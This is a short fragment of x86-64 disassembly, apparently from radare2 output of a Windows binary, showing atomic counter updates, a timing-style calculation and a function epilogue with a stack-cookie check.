lock xadd qword [0x1400f16f8], rbx
test rbx, rbx
jne 0x14001645f
lea rdx, [r8 - 0xf4240]
xor eax, eax
lock cmpxchg qword [0x1400f16f8], rdx
mov rbx, rax
cmove rbx, rdx
sub r8, rbx
mov rax, r9
mul r8
mov rcx, rdi
shr rdx, 0x12
mov dword [rdi + 0xa0], edx
call fcn.140015c80
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400a13e0
add rsp, 0x60
pop rdi
ret